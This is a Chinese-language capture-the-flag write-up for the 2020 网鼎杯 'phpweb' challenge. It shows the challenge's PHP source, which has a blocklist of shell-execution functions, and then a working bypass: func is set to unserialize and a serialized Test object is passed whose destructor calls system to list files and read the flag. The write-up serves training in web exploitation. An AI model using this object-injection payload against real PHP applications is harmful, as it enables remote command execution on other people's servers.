[网鼎杯 2020 朱雀组]phpweb

image-20240507213032149

我只能说很抽象

因为看它一直闪啊闪,我猜测可能有问题,抓个包试试

image-20240507213344380

发现两个参数我们试试

date函数是咋用的来着?

date(Y-m-d h:i:s a)

好像是这个,所以大概率就是a(b)的形式

所以尝试打开index.php

image-20240507213638501

发现源码

<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];

if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>

禁用了许多函数,这里看到了class,想到了序列化,如果func传一个unserialize后面再传序列化的命令应该可以绕过

尝试一下,先看看能不能成功,尝试一下ls

image-20240507215018774

诶嘿,全都看见喽

所以是可行的,所以之后可以用上我跟大佬学的

find+/+-name+flag*

查找所有带flag的

嘻嘻

image-20240507215224689

之后就一个个找过去吧,先从下面找,我觉得不会放那么里面吧

O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}

嘻嘻

image-20240507215354779

OK了